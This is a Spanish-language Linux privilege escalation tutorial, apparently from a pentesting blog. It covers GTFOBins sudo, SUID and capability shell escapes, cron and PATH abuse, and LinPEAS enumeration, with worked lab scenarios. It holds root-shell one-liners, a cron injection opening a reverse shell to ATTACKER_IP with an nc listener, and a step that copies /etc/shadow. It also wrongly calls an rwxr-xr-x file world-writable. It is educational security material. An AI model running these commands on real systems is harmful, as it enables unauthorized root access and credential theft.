Privilege Escalation en Linux: Guía de GTFOBins y Técnicas Comunes

¿Qué es Privilege Escalation?

La privilege escalation es el proceso de obtener privilegios superiores a los que un usuario tiene asignados inicialmente. En un contexto de pentesting autorizado o CTF, una vez que obtienes acceso inicial a un sistema Linux (por ejemplo, una shell como usuario no privilegiado), el siguiente paso casi siempre es escalar privilegios hasta root.

Privilege escalation no es un exploit: es una técnica de movimiento lateral vertical que aprovecha configuraciones débiles, permisos incorrectos, bins con SUID o herramientas del sistema (Living Off the Land) para obtener acceso de administrador.

GTFOBins (https://gtfobins.github.io/) es la referencia principal para esta técnica. Es una lista curada de ejecutables Unix-like que pueden abusarse para escalar privilegios, leer/escribir archivos o mantener persistencia.

Todos los ejemplos de este artículo asumen un entorno de laboratorio autorizado (CTF, TryHackMe, HackTheBox o tu propio lab).

---

Fase 1: Enumeración Inicial

Antes de intentar cualquier técnica de escalación, necesitas entender el sistema. La enumeración determina qué técnicas son viables.

Comandos esenciales de enumeración

# Sistema y kernel
uname -a
cat /etc/os-release

# Usuarios y grupos
id
cat /etc/passwd | grep -v nologin | grep -v false
groups

# Sudo: qué puedes ejecutar como root
sudo -l

# Bins con SUID
find / -perm -u=s -type f 2>/dev/null

# Capabilities
getcap -r / 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.d/
crontab -l

# Procesos en ejecución
ps aux | grep root

# PATH: ¿hay directorios writables?
echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {} 2>/dev/null

---

Fase 2: GTFOBins — El Arsenal Principal

GTFOBins categoriza las técnicas por contexto de ejecución: Sudo, SUID, Capabilities, y Unprivileged. Cada binario puede tener múltiples funciones (shell, file read, file write, reverse shell, etc.).

Contexto Sudo

Cuando sudo -l revela que puedes ejecutar un binario como root sin contraseña, GTFOBins te dice exactamente cómo escalar.

find (sudo)

# Si sudo te permite ejecutar find como root:
sudo find . -exec /bin/sh \; -quit

Por qué funciona: find ejecuta comandos a través de -exec. Al ejecutarse como root via sudo, el shell spawned hereda los privilegios de root.

vim / vi (sudo)

# Si sudo te permite ejecutar vim como root:
sudo vim -c ':!sh'

Por qué funciona: vim puede ejecutar comandos del sistema a través de :!. Al ejecutarse como root, el shell spawned tiene privilegios de root.

python / python3 (sudo)

# Si sudo te permite ejecutar python como root:
sudo python -c 'import os; os.execl("/bin/sh", "sh")'

Por qué funciona: python puede ejecutar código arbitrario. os.execl reemplaza el proceso actual con una shell que hereda los privilegios de root.

bash (sudo)

# Si sudo te permite ejecutar bash como root:
sudo bash

Caso más simple: si puedes ejecutar bash con sudo, ya tienes root.

nmap (sudo) — versiones antiguas

# Solo funciona con nmap 2.02 a 5.21 (modo interactivo eliminado)
sudo nmap --interactive
!/bin/sh

less / more (sudo)

sudo less /etc/passwd
# Dentro de less: !sh

Tabla resumen: contextos comunes de sudo → shell

---

Contexto SUID

El bit SUID (Set User ID) hace que un binario se ejecute con los privilegios de su propietario (normalmente root), independientemente de quién lo ejecute. Si un binario con SUID es abusable según GTFOBins, puedes obtener una shell de root.

Identificar bins con SUID

find / -perm -u=s -type f 2>/dev/null
# Salida típica: /usr/bin/sudo, /usr/bin/su, /usr/bin/passwd,
# /usr/bin/find, /usr/bin/vim, /usr/bin/python3

find (SUID)

# Si find tiene SUID bit activo:
find . -exec /bin/sh -p \; -quit

Nota importante: usa -p para preservar los privilegios efectivos del usuario (EUID). Sin -p, algunas distribuciones de bash bajan el EUID a ruid (nobody). HackTricks documenta este comportamiento en su sección sobre euid, ruid, suid.

python (SUID)

# Si python tiene SUID bit activo:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Nota: el flag -p es crítico aquí. Sin él, bash puede degradar el EUID.

bash (SUID)

# Si bash tiene SUID bit activo:
bash -p

El caso más simple de SUID escalation. El flag -p preserva los privilegios efectivos.

cp (SUID) — File write

# Leer /etc/shadow como root:
cp /etc/shadow /tmp/shadow_copy
cat /tmp/shadow_copy

vim (SUID)

vim -c ':!sh'

Tabla resumen: bins SUID más comunes → exploit

---

Contexto Linux Capabilities

Linux capabilities son un mecanismo de granularidad que divide los privilegios de root en unidades independientes. Un binario con CAP_SETUID puede cambiar su ID de usuario efectivo sin necesitar ser root.

Buscar capabilities

getcap -r / 2>/dev/null
# Salida típica:
# /usr/bin/python3 = cap_setuid+ep
# /usr/bin/perl = cap_setgid+ep

python (capability CAP_SETUID)

# Si python tiene capability CAP_SETUID:
python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'

Por qué funciona: CAP_SETUID permite al proceso cambiar su UID a 0 (root) sin necesitar que el binario tenga SUID bit activo. Una vez con UID 0, la shell spawned es root.

perl (capability CAP_SETGID)

# Si perl tiene capability CAP_SETGID:
perl -e 'use POSIX; setgid(0); exec "/bin/sh";'

Buscar capabilities con LinPEAS

# LinPEAS detecta automáticamente capabilities interesantes
./linpeas.sh | grep -A5 "capabilities"

---

Contexto Cron Jobs

Los cron jobs ejecutan scripts periódicamente. Si un cron job ejecuta un script como root y el script (o su directorio) es writable por tu usuario, puedes inyectar código malicioso que se ejecutará como root.

Identificar cron jobs interesantes

cat /etc/crontab
ls -la /etc/cron.d/
grep -r "^[^#]" /etc/cron* 2>/dev/null
crontab -l

Escalación vía cron writable

# Si /opt/backup.sh es ejecutado por root cada 5 minutos
# Y el archivo es writable por tu usuario:

echo '#!/bin/bash' > /opt/backup.sh
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
chmod +x /opt/backup.sh

# En tu máquina atacante:
nc -lvp 4444

# Esperar a que cron ejecute el script → shell de root

Escalación vía PATH manipulation

# Si un cron job ejecuta un binario sin ruta absoluta
# Y el directorio actual está en el PATH antes que /bin:

# Ejemplo de crontab:
# */5 * * * * backup_script

# Si el PATH del cron incluye un directorio writable:
echo '#!/bin/bash' > /home/user/backup_script
echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' >> /home/user/backup_script
chmod +x /home/user/backup_script

# Cuando cron ejecute: /tmp/rootbash -p → root

---

Contexto Kernel Exploits

Si ninguna de las técnicas anteriores funciona, el kernel puede ser vulnerable a exploits de privilege escalation. Esto es el último recurso porque es arriesgado (puede causar crashes) y depende de la versión exacta del kernel.

Identificar versión del kernel y buscar exploits

uname -r
cat /proc/version
searchsploit linux kernel $(uname -r | cut -d'-' -f1)

Los kernel exploits son frágiles. En entornos de producción, pueden causar kernel panic. En CTFs y labs, son una opción válida cuando las técnicas de Living Off the Land no funcionan.

---

Fase 3: Herramientas de Enumeración Automatizada

LinPEAS

LinPEAS (Linux Privilege Escalation Awesome Script) es la herramienta de enumeración más completa. Recorre automáticamente el sistema buscando vectores de escalación: SUID, sudo, capabilities, cron, kernel version, y más.

# Descargar LinPEAS
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh

# Ejecutar (salida completa)
./linpeas.sh

# Ejecutar (solo findings críticos)
./linpeas.sh -q

# Guardar salida en archivo
./linpeas.sh | tee linpeas_output.txt

LinPEAS resalta en amarillo y rojo los hallazgos más relevantes. Presta atención a:

[x] SUID binaries — binarios SUID que GTFOBins puede explotar
[x] Sudo — comandos sudo sin contraseña
[x] Capabilities — binarios con capabilities peligrosas
[x] Cron jobs — scripts ejecutados como root que son writables
[x] Writable files — archivos del sistema que puedes modificar
[x] Kernel version — versión del kernel para buscar exploits

LinEnum

LinEnum es más ligero y enfocado. Genera un reporte estructurado de enumeración.

# Descargar
wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh
chmod +x LinEnum.sh

# Ejecutar con level de detalle máximo
./LinEnum.sh -t -r reporte -e /tmp/

Buscar bins con SUID de forma manual

find / -perm -u=s -type f 2>/dev/null | while read bin; do
  echo "=== $bin ==="
  ls -la "$bin"
  file "$bin"
done

# Comparar con la lista de GTFOBins (gtfobins.github.io)
# Si encuentras python, vim, find, bash, nmap → candidato a escalación

---

Fase 4: Escenarios Prácticos

Escenario 1: Sudo + find → root

$ id
uid=1000(user) gid=1000(user) groups=1000(user)

$ sudo -l
Matching Defaults insults
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User user may run the following commands on this host:
    (ALL : ALL) /usr/bin/find

$ sudo find . -exec /bin/sh \; -quit
# whoami
root

Escenario 2: SUID python → root

$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/python3

$ python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=0(root) gid=1000(user)

Escenario 3: Cron writable script → root

$ cat /etc/crontab
*/5 * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxr-xr-x 1 root root 1024 /opt/scripts/backup.sh

# El script es writable por todos (rwxr-xr-x)
$ echo '#!/bin/bash' > /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash' >> /opt/scripts/backup.sh

# Esperar 5 minutos...
$ /tmp/rootbash -p
rootbash-4.4# id
uid=0(root)

Escenario 4: Capability CAP_SETUID → root

$ getcap -r / 2>/dev/null
/usr/bin/python3 = cap_setuid+ep

$ python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'
# id
uid=0(root)

---

Defensa: Cómo Prevenir Privilege Escalation

# Auditoría periódica
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null | tee /var/log/suid_audit.log
getcap -r / 2>/dev/null | tee /var/log/cap_audit.log

---

Conclusión

La privilege escalation en Linux rara vez requiere un exploit kernel sofisticado. La mayoría de los sistemas tienen al menos un vector de escalación explotable: un binario con SUID innecesario, un sudo mal configurado, un cron job con permisos laxos, o una capability excesiva.

GTFOBins es tu primera referencia. Cuando tengas una shell de usuario, busca en sudo -l y find / -perm -u=s — las dos comandos más importantes de todo el pentesting de privilege escalation. Si encuentras find, vim, python, bash o nmap en cualquiera de esas listas, GTFOBins te dice exactamente cómo escalar.

La defensa es igual de simple: eliminar SUID bits innecesarios, restringir sudo a comandos específicos, usar rutas absolutas en cron, y auditar periódicamente. Un find / -perm -u=s ejecutado una vez al mes puede prevenir la mayoría de las escalaciones.

---

Artículos Relacionados

• Kali Linux: Las 20 Herramientas Esenciales para Pentesting — LinPEAS, nmap y otras herramientas fundamentales para la fase de enumeración y explotación.
• Introducción al Ethical Hacking — Metodologías, marco legal y diferencia entre pentesting y red teaming.
• EDR Evasion: Técnicas de Evasión de Endpoint — Después de escalar privilegios en Linux, evadir la detección de EDR es el siguiente desafío para operadores de Red Team.
• Active Directory & Kerberos — En entornos heterogéneos, la privilege escalation en Linux se conecta con la movimiento lateral hacia dominios AD.